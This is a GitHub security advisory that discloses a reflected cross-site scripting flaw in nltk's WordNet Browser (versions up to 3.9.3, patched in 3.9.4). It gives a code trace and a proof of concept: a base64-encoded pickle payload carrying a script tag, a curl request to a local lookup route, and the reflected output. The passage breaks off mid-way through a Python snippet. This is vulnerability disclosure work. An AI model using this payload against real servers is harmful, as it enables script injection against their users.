GitHub Security Advisory: GHSA-gfwx-w7gr-fvh7
Package: nltk (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 3.9.3
Patched in: 3.9.4

Summary: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

Details:
### Summary
`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

### Details
The vulnerable flow is in `nltk/app/wordnet_app.py`:

- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)
  - Requests starting with `lookup_` are handled as HTML responses:
  - `page, word = page_from_href(sp)`

- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)
  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`

- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)
  - `word = href.word`

- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)
  - If no results are found, `word` is inserted directly into the HTML body:
  - `body = "The word or words '%s' were not found in the dictionary." % word`

This is inconsistent with the `search` route, which does escape user input:

- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)
  - `word = html.escape(...)`

As a result, a malicious `lookup_...` payload can inject script into the response page.

The issue is exploitable because:

- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.
- The decoded `word` is reflected into HTML without `html.escape()`.
- The server is started with `HTTPServer(("", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.

### PoC
1. Start the WordNet Browser in an isolated Docker environment:

```bash
docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
```

2. Use the following crafted payload, which decodes to:

```python
("<script>alert(1)</script>", {})
```

Encoded payload:

```text
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
```

3. Request the vulnerable route:

```bash
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
```

4. Observed result:

```text
The word or words '<script>alert(1)</script>' were not found in the dictionary.
```
<img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />


I also validated the issue directly at function level in Docker:

```python
import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_f